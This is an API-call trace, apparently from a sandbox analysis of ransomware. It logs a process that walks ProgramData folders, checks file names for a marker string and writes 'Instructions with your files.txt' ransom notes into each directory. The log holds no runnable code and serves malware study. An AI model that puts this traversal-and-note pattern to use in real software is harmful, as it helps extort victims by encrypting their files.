[0122.575] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
[0122.575] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned 67
[0122.575] GetProcessHeap () returned 0x810000
[0122.575] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0122.575] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*") returned 69
[0122.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0122.577] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\.") returned 69
[0122.577] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.577] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\..") returned 70
[0122.577] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1
[0122.577] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat") returned 77
[0122.577] StrStrIW (lpFirst="cache.dat", lpSrch="SDfghjkl") returned 0x0
[0122.577] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 0
[0122.577] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Instructions with your files.txt") returned 100
[0122.577] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0122.577] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0122.578] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0122.578] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0122.578] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0122.578] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0122.579] CloseHandle (hObject=0x110) returned 1
[0122.579] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0122.579] GetProcessHeap () returned 0x810000
[0122.579] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0122.579] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1
[0122.579] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned 72
[0122.579] StrStrIW (lpFirst="tokens.dat", lpSrch="SDfghjkl") returned 0x0
[0122.579] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0
[0122.579] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Instructions with your files.txt") returned 94
[0122.579] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0122.579] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0122.580] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0122.580] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0122.580] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0122.580] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0122.580] CloseHandle (hObject=0x10c) returned 1
[0122.581] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0122.581] GetProcessHeap () returned 0x810000
[0122.581] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0122.581] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1
[0122.581] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC") returned 32
[0122.581] GetProcessHeap () returned 0x810000
[0122.581] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0122.581] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\*") returned 34
[0122.581] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0122.581] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\.") returned 34
[0122.581] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.581] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\..") returned 35
[0122.581] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1
[0122.581] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound") returned 41
[0122.581] GetProcessHeap () returned 0x810000
[0122.581] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0122.582] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*") returned 43
[0122.582] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0122.599] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\.") returned 43
[0122.600] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.600] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\..") returned 44
[0122.600] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0122.600] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\Instructions with your files.txt") returned 74
[0122.600] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\rac\\outbound\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0122.601] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0122.602] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0122.602] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0122.602] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0122.602] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0122.602] CloseHandle (hObject=0x110) returned 1
[0122.602] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0122.602] GetProcessHeap () returned 0x810000
[0122.602] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0122.602] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1
[0122.602] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned 46
[0122.602] GetProcessHeap () returned 0x810000
[0122.603] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0122.603] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*") returned 48
[0122.603] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0122.603] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\.") returned 48
[0122.603] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.603] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\..") returned 49
[0122.603] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1
[0122.603] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 65
[0122.603] StrStrIW (lpFirst="RacWmiDatabase.sdf", lpSrch="SDfghjkl") returned 0x0
[0122.603] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 0
[0122.603] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\Instructions with your files.txt") returned 79
[0122.603] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0122.604] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0122.605] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0122.605] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0122.605] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0122.606] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0122.606] CloseHandle (hObject=0x110) returned 1
[0122.606] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0122.606] GetProcessHeap () returned 0x810000
[0122.606] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0122.606] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ef715e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1
[0122.606] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData") returned 42
[0122.606] GetProcessHeap () returned 0x810000
[0122.606] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0122.606] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\*") returned 44
[0122.606] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ef715e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0122.608] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\.") returned 44
[0122.608] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ef715e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.608] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\..") returned 45
